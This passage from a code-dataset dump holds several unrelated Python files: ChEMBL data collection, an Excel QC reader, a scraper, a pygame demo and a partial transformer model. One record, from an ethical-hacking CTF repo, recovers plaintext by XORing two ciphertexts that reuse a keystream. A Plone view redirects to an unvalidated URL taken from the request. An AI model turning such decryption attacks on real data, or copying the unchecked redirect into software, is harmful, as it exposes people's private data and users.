COMPOUND_STRUCTURES AS cs\n WHERE cs.MOLREGNO = %s\n ;\n\"\"\"\n\ndef get_molfile_by_molregno(molregno):\n query = QUERY_GET_MOLFILE_BY_MOLREGNO\n cur = CONNECTION.cursor()\n cur.execute(query, (molregno,))\n row = cur.fetchone()\n \n return row\n\n\n# In[ ]:\n\n\ndef save_as(molregno):\n with open(f'molfiles/{molregno}.mol','w') as file:\n print(get_molfile_by_molregno(molregno)[0], file=file)\n\n\n# In[ ]:\n\n\ndef molfile_with_fluorine_in_all_assays(assays):\n molecules_with_fluorine = []\n \n for assay_id in assays:\n all_molecules = get_list_of_molecules_from_assay(assay_id)\n \n for molregno in all_molecules:\n with_fluorine = get_molecule_with_fluorine_in_assay(molregno[0])\n if with_fluorine:\n molecules_with_fluorine.append(with_fluorine[0])\n save_as(with_fluorine[0]) \n \n return molecules_with_fluorine\n\n\n# In[ ]:\n\n\ndef all_molfiles(assays, offset=0):\n batch_size = 1000\n \n i = 0\n for i in range(offset, int(len(assays) / batch_size)):\n start = i * batch_size\n end = start + batch_size\n \n molfile_with_fluorine_in_all_assays(assays[start:end])\n print(f'saved {start}_{end-1}.mol')\n\n\n# In[ ]:\n\n\nall_molfiles(assays)\n\n\n# In[ ]:\n\n\ndef get_sdf_by_mol(list_of_molregno):\n for i, molregno in enumerate(list_of_molregno):\n subprocess.run(['f2h.exe', 'molfiles/' + str(molregno) + '.mol', 'sdf/' + str(molregno) + '.sdf'])\n\n\n# In[ ]:\n\n\nlist_of_molregno = []\nfor root, dirs, files in os.walk(\"./molfiles\"): \n for filename in files:\n if filename.count('.mol') == 1:\n list_of_molregno.append(filename[:-4])\n\n\n# In[ ]:\n\n\nlen(list_of_molregno)\n\n\n# In[ ]:\n\n\nget_sdf_by_mol(list_of_molregno)\n\n\n# In[ ]:\n\n\ndef gen_inchikey_by_sdf(sdf_file):\n list_files_1 = subprocess.run([\"obabel\", \"sdf/\" + sdf_file + \".sdf\", \"-O\", \"smi/\" + sdf_file + \".smi\"])\n list_files_2 = subprocess.run([\"obabel\", \"smi/\" + sdf_file + \".smi\", \"-oinchikey\"], stdout=subprocess.PIPE)\n inchikey_list = list_files_2.stdout.decode('utf-8').rstrip().split('\\n')\n \n return set(inchikey_list)\n\n\n# In[ ]:\n\n\nQUERY_GET_F_MOLECULE_BY_MOLREGNO = \"\"\"\n SELECT \n md.MOLREGNO AS f_id,\n md.CHEMBL_ID AS f_chembl,\n cs.CANONICAL_SMILES f_smiles,\n a.ASSAY_ID AS f_assay_id,\n a.CHEMBL_ID AS f_assay_chembl,\n a.ASSAY_TYPE AS f_assay_type,\n td.TID AS target_id,\n td.CHEMBL_ID AS target_chembl,\n td.TARGET_TYPE AS target_type,\n ac.STANDARD_TYPE AS f_type,\n ac.STANDARD_RELATION AS f_relation,\n ac.STANDARD_VALUE AS f_value,\n ac.STANDARD_UNITS AS f_units\n FROM MOLECULE_DICTIONARY AS md\n JOIN COMPOUND_STRUCTURES AS cs\n ON md.MOLREGNO = cs.MOLREGNO\n JOIN ACTIVITIES AS ac\n ON md.MOLREGNO = ac.MOLREGNO\n JOIN ASSAYS AS a\n ON ac.ASSAY_ID = a.ASSAY_ID\n JOIN TARGET_DICTIONARY AS td\n ON a.TID = td.TID\n WHERE cs.MOLREGNO = %s\n ;\n\"\"\"\n\n\ndef get_f_molecule_by_molregno(molregno):\n query = QUERY_GET_F_MOLECULE_BY_MOLREGNO\n cur = CONNECTION.cursor(cursor_factory=psycopg2.extras.DictCursor)\n cur.execute(query, (molregno,))\n molecule = cur.fetchall()\n\n return molecule\n\n\n# In[ ]:\n\n\nQUERY_GET_MOLECULES_BY_INCHIKEY_AND_ASSAYS = \"\"\"\n SELECT \n md.MOLREGNO AS h_id,\n md.CHEMBL_ID AS h_chembl,\n cs.CANONICAL_SMILES h_smiles,\n a.ASSAY_ID AS h_assay_id,\n a.CHEMBL_ID AS h_assay_chembl,\n a.ASSAY_TYPE AS h_assay_type,\n td.TID AS target_id,\n td.CHEMBL_ID AS target_chembl,\n td.TARGET_TYPE AS target_type,\n ac.STANDARD_TYPE AS h_type,\n ac.STANDARD_RELATION AS h_relation,\n ac.STANDARD_VALUE AS h_value,\n ac.STANDARD_UNITS AS h_units\n FROM MOLECULE_DICTIONARY AS md\n JOIN COMPOUND_STRUCTURES AS cs\n ON md.MOLREGNO = cs.MOLREGNO\n JOIN ACTIVITIES AS ac\n ON md.MOLREGNO = ac.MOLREGNO\n JOIN ASSAYS AS a\n ON ac.ASSAY_ID = a.ASSAY_ID\n JOIN TARGET_DICTIONARY AS td\n ON a.TID = td.TID\n WHERE a.ASSAY_ID = %s\n AND cs.STANDARD_INCHI_KEY = %s\n AND ac.STANDARD_TYPE = %s \n ;\n\"\"\"\n\n\ndef get_molecule_by_inchikey_where_in_assays(assay_id, inchikey, standard_type):\n query = QUERY_GET_MOLECULES_BY_INCHIKEY_AND_ASSAYS\n cur = CONNECTION.cursor(cursor_factory=psycopg2.extras.DictCursor)\n cur.execute(query, (assay_id, inchikey, standard_type))\n molecule = cur.fetchall()\n\n return molecule\n\n\n# In[ ]:\n\n\nCOLUMNS = ('f_id', 'f_chembl',\n 'h_id', 'h_chembl',\n 'f_smiles',\n 'h_smiles',\n 'f_assay_id', 'f_assay_chembl',\n 'f_assay_type',\n 'h_assay_id', 'h_assay_chembl',\n 'h_assay_type',\n 'target_id', 'target_chembl',\n 'target_type',\n 'f_type',\n 'f_relation',\n 'f_value',\n 'f_units',\n 'h_type',\n 'h_relation',\n 'h_value',\n 'h_units',\n 'result'\n )\n\n\ndef new_alg(list_of_f_molregno):\n data = pd.DataFrame(columns=COLUMNS)\n \n for f_molregno in list_of_f_molregno:\n f_molecule_info = get_f_molecule_by_molregno(f_molregno) #список записей\n \n for f_info in f_molecule_info:\n f_standard_type = f_info['f_type']\n f_assay_id = f_info['f_assay_id']\n\n h_inchikey_list = gen_inchikey_by_sdf(f_molregno)\n\n for h_inchikey in h_inchikey_list:\n h_molecule_info = get_molecule_by_inchikey_where_in_assays(f_assay_id, \n h_inchikey,\n f_standard_type)\n for h_info in h_molecule_info:\n data.loc[len(data)] = pd.Series({**f_info, **h_info}, \n index=data.columns)\n\n return data\n\n\n# In[ ]:\n\n\nimport csv\n\ndef to_csv(obj, filename):\n with open(filename,'w') as out:\n csv_out = csv.writer(out)\n csv_out.writerow(obj[0]._fields)\n for row in obj:\n csv_out.writerow(row)\n\n\n# In[ ]:\n\n\ndef main(molecules, offset=0):\n batch_size = 1000\n \n i = 0\n for i in range(offset, int(len(molecules) / batch_size)):\n start = i*batch_size\n end = start + batch_size\n \n mol = new_alg(molecules[start:end])\n mol.to_csv(f'alg2_files/mol_{start}_{end-1}.csv')\n print(f'saved alg2_files/mol_{start}_{end-1}.csv')\n \n mol = new_alg(molecules[i*batch_size:])\n mol.to_csv(f'alg2_files/mol_{i*batch_size}_{len(molecules)-1}.csv')\n print(f'saved alg2_files/mol_{i*batch_size}_{len(molecules)-1}.csv')\n\n\n# In[ ]:\n\n\nmolecules_with_fluorine = []\nfor filename in glob.iglob('sdf/*.sdf'):\n molecules_with_fluorine.append(filename[4:-4])\n\n\n# In[ ]:\n\n\nmain(molecules_with_fluorine)\n\n","repo_name":"TheorChemGroup/H-F_replacement","sub_path":"ChEMBL_replacements/ChEMBL_data_collection_v2.py","file_name":"ChEMBL_data_collection_v2.py","file_ext":"py","file_size_in_byte":8974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3893184183","text":"def create_questions(how_many):\n answers = create_answers('A', 'B', 'C', 'D')\n return [create_question(answers) for x in range(how_many)]\n\ndef create_question(answers):\n return {\n 'description': 'question',\n 'correct_answer': 1,\n 'answers': answers\n }\n\ndef create_answers(*args):\n lst = []\n for i in range(len(args)):\n description = args[i]\n choice = i + 1\n lst.append({ 'choice': choice, 'description': description })\n\n return lst","repo_name":"guilatrova/school-api-load-test","sub_path":"factories.py","file_name":"factories.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28761470130","text":"import pandas as pd\n\n\ndef read_funcseq_qc_data(file):\n try:\n xlsx = pd.ExcelFile(file)\n try:\n df_temp = pd.read_excel(xlsx, sheet_name=\"Summary-QC records\", header=None)\n pn = df_temp[df_temp[1].str.contains(\"10X Part Number\", na=False)].iloc[\n 0, 2\n ]\n lot = df_temp[df_temp[1].str.contains(\"Lot Number\", na=False)].iloc[0, 2]\n wo = df_temp[df_temp[1].str.contains(\"Work Order\", na=False)].iloc[0, 2]\n date = df_temp[df_temp[1].str.contains(\"QC date\", na=False)].iloc[0, 2]\n except:\n print(f\"Error in Summary section of {file}\")\n try:\n df_temp1 = pd.read_excel(xlsx, sheet_name=\"Disposition\", header=None)\n data_s = df_temp1.index[\n df_temp1[0].str.contains(\"Enter Row # for Each TEST Sample\", na=False)\n ].tolist()\n data_e = df_temp1.index[\n df_temp1[0].str.contains(\"Control Results\", na=False)\n ].tolist()\n\n data1 = df_temp1[data_s[0] : data_s[1]]\n data1 = data1[[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]]\n data1.columns = data1.iloc[0]\n data1 = data1.iloc[1:, :]\n data1.reset_index(drop=True, inplace=True)\n data1 = data1.dropna(subset=[\"Sequencer\"])\n\n data2 = df_temp1[data_s[1] : data_s[2]]\n data2 = data2[[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]]\n data2.columns = data2.iloc[0]\n data2 = data2.iloc[1:, :]\n data2.reset_index(drop=True, inplace=True)\n data2 = data2.dropna(subset=[\"Sequencer\"])\n\n data3 = df_temp1[data_s[2] : data_e[0]]\n data3 = data3[[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]]\n data3.columns = data3.iloc[0]\n data3 = data3.iloc[1:, :]\n data3.reset_index(drop=True, inplace=True)\n data3 = data3.dropna(subset=[\"Sequencer\"])\n\n result = pd.concat([data1, data2, data3], axis=1, join=\"inner\")\n result = result.loc[:, ~result.columns.duplicated()]\n except:\n print(f\"Error in Disposition section of {file}\")\n\n data = result.assign(pn=pn, lot=lot, wo=wo, date=date)\n\n data.columns = (\n data.columns.str.strip()\n .str.lower()\n .str.replace(\" \", \"_\")\n .str.replace(\"-\", \"_\")\n .str.replace(\"(\", \"\")\n .str.replace(\")\", \"\")\n .str.replace(\".\", \"\")\n .str.replace(\"<\", \"lessthan\")\n .str.replace(\">\", \"greaterthan\")\n )\n\n data = data.melt(\n id_vars=[\"pn\", \"wo\", \"lot\", \"date\", \"description\", \"sequencer\"],\n var_name=\"data_name\",\n value_name=\"data_value\",\n )\n\n except:\n print(f\"{file} could not be processed\")\n data = pd.DataFrame()\n\n return data\n","repo_name":"niranjan-ilawe/PyGBMfgPackage","sub_path":"pygbmfg/kit_qc/file_reading_scripts.py","file_name":"file_reading_scripts.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"169199143","text":"#!/usr/bin/python\nfrom Crypto.Cipher import AES\nimport binascii\n\nciphertext = \"\"\n\nwith open(\"Workbook.xlsx.enc\",\"rb\") as file:\n raw = file.read()\n hex1 = (binascii.hexlify(raw))\n\nwith open(\"AttackAtTheDawn.txt.enc\",\"rb\") as file:\n raw2 = file.read()\n hex2 = binascii.hexlify(raw2)\n\n\ndef strxor(a, b):\n if len(a) > len(b):\n return '%x' % (int(a[:len(b)],16)^int(b,16))\n else:\n return '%x' % (int(a,16)^int(b[:len(a)],16))\n\"\"\"\ni = 0\nwith open(\"dump.txt\", \"w\") as f:\n while True:\n if i*32 > len(hex1):\n break\n f.write(strxor(hex2, hex1[i*32:]).decode(\"hex\"))\n i+= 1\n\"\"\"\n\nprint(strxor(hex2, hex1[8*32:]).decode(\"hex\"))\n","repo_name":"jakobsn/ethical_hacking","sub_path":"ctf2/dc1.py","file_name":"dc1.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"2596550385","text":"import pgzrun\r\nimport random\r\n\r\nWIDTH = 800\r\nHEIGHT = 600\r\nBGColor = (0, 0, 0)\r\n\r\nnum_circles = random.randint(1, 8)\r\n\r\ncircles = []\r\nfor _ in range(num_circles):\r\n circle = {\r\n 'x': random.randint(0, WIDTH),\r\n 'y': random.randint(0, HEIGHT),\r\n 'radius': random.randint(20, 50),\r\n 'speed': random.uniform(1, 5)\r\n }\r\n circles.append(circle)\r\n\r\ndef draw():\r\n screen.clear()\r\n for circle in circles:\r\n screen.draw.circle((circle['x'], circle['y']), circle['radius'], 'white')\r\n\r\ndef update():\r\n for circle in circles:\r\n circle['x'] += circle['speed']\r\n if circle['x'] > WIDTH:\r\n circle['x'] = 0\r\n\r\npgzrun.go()\r\n","repo_name":"satrirattt/Python","sub_path":"Assign06-6606021620198-2.py","file_name":"Assign06-6606021620198-2.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20399400789","text":"from AccessControl.unauthorized import Unauthorized\n\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.Five.browser import BrowserView\n\nfrom collective.whathappened.storage_manager import StorageManager\n\n\nclass RedirectView(BrowserView):\n def __call__(self):\n mtool = getToolByName(self.context, 'portal_membership')\n user = mtool.getAuthenticatedMember().getId()\n if user is None:\n raise Unauthorized\n\n redirect = self.request.get('redirect', None)\n path = self.request.get('path', None)\n if redirect is None or path is None:\n return\n storage = StorageManager(self.context, self.request)\n storage.initialize()\n storage.setSeen(path)\n storage.terminate()\n self.request.response.redirect(redirect)\n","repo_name":"collective/collective.whathappened","sub_path":"collective/whathappened/browser/redirect.py","file_name":"redirect.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"21512156857","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\nimport pandas as pd\nurl=\"https://www.books.com.tw/web/sys_saletopb/books/?attribute=30\"\nresponse=requests.get(url) #取得網頁內容\nsoup=BeautifulSoup(response.text ,'html.parser') #建立beautifulsoap物件\ncatalog=soup.find_all('div','type02_bd-a')\n# print(catalog)\nimport csv\nwith open('博客來暢銷書top100.csv','w',encoding='utf-8') as file:\n csv_writer = csv.writer(file)\n csv_writer.writerow(['書名','作者','價格'])\n for i in catalog:\n bookname = i.find('h4').a.text.strip() #爬取書名\n # print(bookname)\n try:\n writer=i.find_all('li')[0].a.text.strip() #爬取作者\n writer=writer\n # print(writer)\n except AttributeError:\n writer=None\n # print(writer)\n price=i.find_all('b')[-1].text #取得價格\n # print(price)\n # print('書名:{};作者:{};價格:${}'.format(bookname, writer,price))\n csv_writer.writerow([bookname, writer, price])","repo_name":"Logan645/books.com_crawler","sub_path":"博客來暢銷書爬蟲.py","file_name":"博客來暢銷書爬蟲.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17187072630","text":"import os\r\nimport tensorflow as tf\r\nfrom tensorflow.python.keras.metrics import FalseNegatives\r\nimport dataProcessing as dp\r\nimport numpy as np\r\nimport plotlib as pl\r\n\r\ndataset_dir = os.path.dirname(\"Reddit/processed/datasetReduced/total/\")\r\nresults_dir = os.path.dirname(\"results/generator/\")\r\nmodels_dir = os.path.dirname(\"models/generator/\")\r\nstrategy = tf.distribute.get_strategy()\r\n\r\n# Maximum sentence length\r\nMAX_LENGTH = 200\r\n\r\nclass CustomSchedule(tf.keras.optimizers.schedules.LearningRateSchedule):\r\n\r\n\tdef __init__(self, d_model, warmup_steps=4000):\r\n\t\tsuper(CustomSchedule, self).__init__()\r\n\r\n\t\tself.d_model = d_model\r\n\t\tself.d_model = tf.cast(self.d_model, tf.float32)\r\n\r\n\t\tself.warmup_steps = warmup_steps\r\n\r\n\tdef __call__(self, step):\r\n\t\targ1 = tf.math.rsqrt(step)\r\n\t\targ2 = step * (self.warmup_steps**-1.5)\r\n\r\n\t\treturn tf.math.rsqrt(self.d_model) * tf.math.minimum(arg1, arg2)\r\n\r\ndef loss_function(y_true, y_pred):\r\n\ty_true = tf.reshape(y_true, shape=(-1, MAX_LENGTH-1))\r\n\r\n\tloss = tf.keras.losses.SparseCategoricalCrossentropy(\r\n\t\tfrom_logits=True, reduction='none')(y_true, y_pred)\r\n\r\n\tmask = tf.cast(tf.not_equal(y_true, 0), tf.float32)\r\n\tloss = tf.multiply(loss, mask)\r\n\r\n\treturn tf.reduce_mean(loss)\t\r\n\r\ndef accuracy(y_true, y_pred):\r\n\ty_true = tf.reshape(y_true, shape=(-1, MAX_LENGTH - 1))\r\n\treturn tf.keras.metrics.sparse_categorical_accuracy(y_true, y_pred)\r\n\r\n# Create Functions for padding \r\ndef create_padding_mask(x):\r\n\tmask = tf.cast(tf.math.equal(x, 0), tf.float32)\r\n\treturn mask[:, tf.newaxis, tf.newaxis, :]\r\n\r\ndef create_look_ahead_mask(x):\r\n\tseq_len = tf.shape(x)[1]\r\n\tlook_ahead_mask = 1 - tf.linalg.band_part(tf.ones((seq_len, seq_len)), -1, 0)\r\n\tpadding_mask = create_padding_mask(x)\r\n\treturn tf.maximum(look_ahead_mask, padding_mask)\r\n\r\n# This function is needed in the multiheaded attention mechanism\r\ndef scaled_dot_product_attention(query, key, value, mask):\r\n\tmatmul_qk = tf.matmul(query, key, transpose_b=True)\r\n\r\n\tdepth = tf.cast(tf.shape(key)[-1], tf.float32)\r\n\tlogits = matmul_qk / tf.math.sqrt(depth)\r\n\r\n\t# add the mask zero out padding tokens.\r\n\tif mask is not None:\r\n\t\tlogits += (mask * -1e9)\r\n\r\n\tattention_weights = tf.nn.softmax(logits, axis=-1)\r\n\r\n\treturn tf.matmul(attention_weights, value)\r\n\r\ndef evaluate(g_model, sentence, tokenizer, START_TOKEN, END_TOKEN, maxlen):\r\n\tsentence = dp.preprocess_sentence(sentence)\r\n\t\r\n\tsentence = tf.expand_dims(\r\n\t\tSTART_TOKEN + tokenizer.encode(sentence) + END_TOKEN, axis=0)\r\n\r\n\toutput = tf.expand_dims(START_TOKEN, 0)\r\n\t\r\n\tpredictions = g_model(inputs=[sentence, output], training=False)\r\n\r\n\tfor i in range(maxlen-1):\r\n\t\t# print(i)\r\n\t\tpredictions = g_model(inputs=[sentence, output], training=False)\r\n\t\t# print(predictions)\r\n\t\t# select the last word from the seq_len dimension\r\n\t\tpredictions = predictions[:, -1:, :]\r\n\t\t# print(predictions)\r\n\t\tpredicted_id = tf.cast(tf.argmax(predictions, axis=-1), tf.int32)\r\n\t\t# print(predicted_id)\r\n\r\n\t\t# return the result if the predicted_id is equal to the end token\r\n\t\tif tf.equal(predicted_id, END_TOKEN[0]):\r\n\t\t\tbreak\r\n\r\n\t\t# concatenated the predicted_id to the output which is given to the decoder as its input.\r\n\t\toutput = tf.concat([output, predicted_id], axis=-1)\r\n\r\n\treturn tf.squeeze(output, axis=0)\r\n\r\ndef predict(g_model, sentence, tokenizer, START_TOKEN, END_TOKEN, maxlen):\r\n\tprediction = evaluate(g_model, sentence, tokenizer, START_TOKEN, END_TOKEN, maxlen)\r\n\tpredicted_sentence = tokenizer.decode([i for i in prediction if i < tokenizer.vocab_size])\r\n\treturn predicted_sentence\r\n\r\ndef predictTokenized(g_model, sentence, tokenizer, START_TOKEN, END_TOKEN, maxlen):\r\n\tprediction = evaluate(g_model, sentence, tokenizer, START_TOKEN, END_TOKEN, maxlen)\r\n\treturn prediction\r\n\r\nclass MultiHeadAttention(tf.keras.layers.Layer):\r\n\r\n\tdef __init__(self, d_model, num_heads, name=\"multi_head_attention\"):\r\n\t\tsuper(MultiHeadAttention, self).__init__(name=name)\r\n\t\tself.num_heads = num_heads # Number of heads\r\n\t\tself.d_model = d_model # Model dimension\r\n\r\n\t\tassert d_model % self.num_heads == 0\r\n\r\n\t\tself.depth = d_model // self.num_heads\r\n\r\n\t\tself.query_dense = tf.keras.layers.Dense(units=d_model)\r\n\t\tself.key_dense = tf.keras.layers.Dense(units=d_model)\r\n\t\tself.value_dense = tf.keras.layers.Dense(units=d_model)\r\n\r\n\t\tself.dense = tf.keras.layers.Dense(units=d_model)\r\n\r\n\tdef split_heads(self, inputs, batch_size):\r\n\t\tinputs = tf.reshape(\r\n\t\t\tinputs, shape=(batch_size, -1, self.num_heads, self.depth))\r\n\t\treturn tf.transpose(inputs, perm=[0, 2, 1, 3])\r\n\r\n\tdef call(self, inputs):\r\n\t\tquery, key, value, mask = inputs['query'], inputs['key'], inputs[\r\n\t\t\t'value'], inputs['mask']\r\n\t\tbatch_size = tf.shape(query)[0]\r\n\r\n\t\t# linear layers\r\n\t\tquery = self.query_dense(query)\r\n\t\tkey = self.key_dense(key)\r\n\t\tvalue = self.value_dense(value)\r\n\r\n\t\t# split heads\r\n\t\tquery = self.split_heads(query, batch_size)\r\n\t\tkey = self.split_heads(key, batch_size)\r\n\t\tvalue = self.split_heads(value, batch_size)\r\n\r\n\t\tscaled_attention = scaled_dot_product_attention(query, key, value, mask)\r\n\r\n\t\tscaled_attention = tf.transpose(scaled_attention, perm=[0, 2, 1, 3])\r\n\r\n\t\tconcat_attention = tf.reshape(scaled_attention,\r\n\t\t (batch_size, -1, self.d_model))\r\n\r\n\t\toutputs = self.dense(concat_attention)\r\n\r\n\t\treturn outputs\r\n\r\nclass PositionalEncoding(tf.keras.layers.Layer):\r\n\r\n\tdef __init__(self, position, d_model):\r\n\t\tsuper(PositionalEncoding, self).__init__()\r\n\t\tself.pos_encoding = self.positional_encoding(position, d_model)\r\n\r\n\tdef get_angles(self, position, i, d_model):\r\n\t\tangles = 1 / tf.pow(10000, (2 * (i // 2)) / tf.cast(d_model, tf.float32))\r\n\t\treturn position * angles\r\n\r\n\tdef positional_encoding(self, position, d_model):\r\n\t\tangle_rads = self.get_angles(\r\n\t\t\tposition=tf.range(position, dtype=tf.float32)[:, tf.newaxis],\r\n\t\t\ti=tf.range(d_model, dtype=tf.float32)[tf.newaxis, :],\r\n\t\t\td_model=d_model)\r\n\t\t# apply sin to even index in the array\r\n\t\tsines = tf.math.sin(angle_rads[:, 0::2])\r\n\t\t# apply cos to odd index in the array\r\n\t\tcosines = tf.math.cos(angle_rads[:, 1::2])\r\n\r\n\t\tpos_encoding = tf.concat([sines, cosines], axis=-1)\r\n\t\tpos_encoding = pos_encoding[tf.newaxis, ...]\r\n\t\treturn tf.cast(pos_encoding, tf.float32)\r\n\r\n\tdef call(self, inputs):\r\n\t\treturn inputs + self.pos_encoding[:, :tf.shape(inputs)[1], :] # \r\n\r\ndef encoder_layer(units, d_model, num_heads, dropout, name=\"encoder_layer\"):\r\n\tinputs = tf.keras.Input(shape=(None, d_model))\r\n\tpadding_mask = tf.keras.Input(shape=(1, 1, None))\r\n\r\n\tattention = MultiHeadAttention(\r\n\t\td_model, num_heads, name=\"attention\")({\r\n\t\t\t'query': inputs,\r\n\t\t\t'key': inputs,\r\n\t\t\t'value': inputs,\r\n\t\t\t'mask': padding_mask\r\n\t\t})\r\n\tattention = tf.keras.layers.Dropout(rate=dropout)(attention)\r\n\tattention = tf.keras.layers.LayerNormalization(\r\n\t\tepsilon=1e-6)(inputs + attention)\r\n\r\n\toutputs = tf.keras.layers.Dense(units=units, activation='relu')(attention)\r\n\toutputs = tf.keras.layers.Dense(units=d_model)(outputs)\r\n\toutputs = tf.keras.layers.Dropout(rate=dropout)(outputs)\r\n\toutputs = tf.keras.layers.LayerNormalization(\r\n\t\tepsilon=1e-6)(attention + outputs)\r\n\r\n\treturn tf.keras.Model(\r\n\t\tinputs=[inputs, padding_mask], outputs=outputs, name=name)\r\n\r\n\r\ndef encoder(vocab_size,\r\n\t\t\tnum_layers,\r\n\t\t\tunits,\r\n\t\t\td_model,\r\n\t\t\tnum_heads,\r\n\t\t\tdropout,\r\n\t\t\tname=\"encoder\"):\r\n\r\n\tinputs = tf.keras.Input(shape=(None,))\r\n\tpadding_mask = tf.keras.Input(shape=(1, 1, None))\r\n\r\n\tembeddings = tf.keras.layers.Embedding(vocab_size, d_model)(inputs)\r\n\tembeddings *= tf.math.sqrt(tf.cast(d_model, tf.float32))\r\n\tembeddings = PositionalEncoding(vocab_size, d_model)(embeddings)\r\n\r\n\toutputs = tf.keras.layers.Dropout(rate=dropout)(embeddings)\r\n\r\n\tfor i in range(num_layers):\r\n\t\toutputs = encoder_layer(\r\n\t\t\tunits=units,\r\n\t\t\td_model=d_model,\r\n\t\t\tnum_heads=num_heads,\r\n\t\t\tdropout=dropout,\r\n\t\t\tname=\"encoder_layer_{}\".format(i),\r\n\t\t)([outputs, padding_mask])\r\n\r\n\treturn tf.keras.Model(\r\n \t\tinputs = [inputs, padding_mask], outputs=outputs, name=name)\r\n\r\ndef decoder_layer(units, d_model, num_heads, dropout, name=\"decoder_layer\"):\r\n\tinputs = tf.keras.Input(shape=(None, d_model))\r\n\tenc_outputs = tf.keras.Input(shape=(None, d_model))\r\n\tlook_ahead_mask = tf.keras.Input(\r\n\t\tshape=(1, None, None))\r\n\tpadding_mask = tf.keras.Input(shape=(1, 1, None))\r\n\r\n\tattention1 = MultiHeadAttention(\r\n\t\td_model, num_heads, name=\"attention_1\")(inputs={\r\n\t\t\t'query': inputs,\r\n\t\t\t'key': inputs,\r\n\t\t\t'value': inputs,\r\n\t\t\t'mask': look_ahead_mask\r\n\t\t})\r\n\tattention1 = tf.keras.layers.LayerNormalization(\r\n\t\tepsilon=1e-6)(attention1 + inputs)\r\n\r\n\tattention2 = MultiHeadAttention(\r\n\t\td_model, num_heads, name=\"attention_2\")(inputs={\r\n\t\t\t'query': attention1,\r\n\t\t\t'key': enc_outputs,\r\n\t\t\t'value': enc_outputs,\r\n\t\t\t'mask': padding_mask\r\n\t\t})\r\n\tattention2 = tf.keras.layers.Dropout(rate=dropout)(attention2)\r\n\tattention2 = tf.keras.layers.LayerNormalization(\r\n\t\tepsilon=1e-6)(attention2 + attention1)\r\n\r\n\toutputs = tf.keras.layers.Dense(units=units, activation='relu')(attention2)\r\n\toutputs = tf.keras.layers.Dense(units=d_model)(outputs)\r\n\toutputs = tf.keras.layers.Dropout(rate=dropout)(outputs)\r\n\toutputs = tf.keras.layers.LayerNormalization(\r\n\t\tepsilon=1e-6)(outputs + attention2)\r\n\r\n\treturn tf.keras.Model(\r\n\t\tinputs=[inputs, enc_outputs, look_ahead_mask, padding_mask],\r\n\t\toutputs=outputs,\r\n\t\tname=name)\r\n\r\ndef decoder(vocab_size,\r\n\t\t\tnum_layers,\r\n\t\t\tunits,\r\n\t\t\td_model,\r\n\t\t\tnum_heads,\r\n\t\t\tdropout,\r\n\t\t\tname='decoder'):\r\n\tinputs = tf.keras.Input(shape=(None,))\r\n\tenc_outputs = tf.keras.Input(shape=(None, d_model))\r\n\tlook_ahead_mask = tf.keras.Input(\r\n\t\tshape=(1, None, None))\r\n\tpadding_mask = tf.keras.Input(shape=(1, 1, None))\r\n\r\n\tembeddings = tf.keras.layers.Embedding(vocab_size, d_model)(inputs)\r\n\tembeddings *= tf.math.sqrt(tf.cast(d_model, tf.float32))\r\n\tembeddings = PositionalEncoding(vocab_size, d_model)(embeddings)\r\n\r\n\toutputs = tf.keras.layers.Dropout(rate=dropout)(embeddings)\r\n\r\n\tfor i in range(num_layers):\r\n\t\toutputs = decoder_layer(\r\n\t\t\tunits=units,\r\n\t\t\td_model=d_model,\r\n\t\t\tnum_heads=num_heads,\r\n\t\t\tdropout=dropout,\r\n\t\t\tname='decoder_layer_{}'.format(i),\r\n\t\t)(inputs=[outputs, enc_outputs, look_ahead_mask, padding_mask])\r\n\r\n\treturn tf.keras.Model(\r\n\t\tinputs=[inputs, enc_outputs, look_ahead_mask, padding_mask],\r\n\t\toutputs=outputs,\r\n\t\tname=name)\r\n\r\ndef transformer(vocab_size,\r\n\t\t\t\tnum_layers,\r\n\t\t\t\tunits,\r\n\t\t\t\td_model,\r\n\t\t\t\tnum_heads,\r\n\t\t\t\tdropout,\r\n\t\t\t\tname=\"transformer\"):\r\n\tinputs = tf.keras.Input(shape=(None,), name=\"inputs\")\r\n\tdec_inputs = tf.keras.Input(shape=(None,), name=\"dec_inputs\")\r\n\r\n\tenc_padding_mask = tf.keras.layers.Lambda(\r\n\t\tcreate_padding_mask, output_shape=(1, 1, None),\r\n\t\tname='enc_padding_mask')(inputs)\r\n\t# mask the future tokens for decoder inputs at the 1st attention block\r\n\tlook_ahead_mask = tf.keras.layers.Lambda(\r\n\t\tcreate_look_ahead_mask,\r\n\t\toutput_shape=(1, None, None),\r\n\t\tname='look_ahead_mask')(dec_inputs)\r\n\t# mask the encoder outputs for the 2nd attention block\r\n\tdec_padding_mask = tf.keras.layers.Lambda(\r\n\t\tcreate_padding_mask, output_shape=(1, 1, None),\r\n\t\tname='dec_padding_mask')(inputs)\r\n\r\n\tenc_outputs = encoder(\r\n\t\tvocab_size=vocab_size,\r\n\t\tnum_layers=num_layers,\r\n\t\tunits=units,\r\n\t\td_model=d_model,\r\n\t\tnum_heads=num_heads,\r\n\t\tdropout=dropout,\r\n\t)(inputs=[inputs, enc_padding_mask])\r\n\r\n\tdec_outputs = decoder(\r\n\t\tvocab_size=vocab_size,\r\n\t\tnum_layers=num_layers,\r\n\t\tunits=units,\r\n\t\td_model=d_model,\r\n\t\tnum_heads=num_heads,\r\n\t\tdropout=dropout,\r\n\t)(inputs=[dec_inputs, enc_outputs, look_ahead_mask, dec_padding_mask])\r\n\r\n\toutputs = 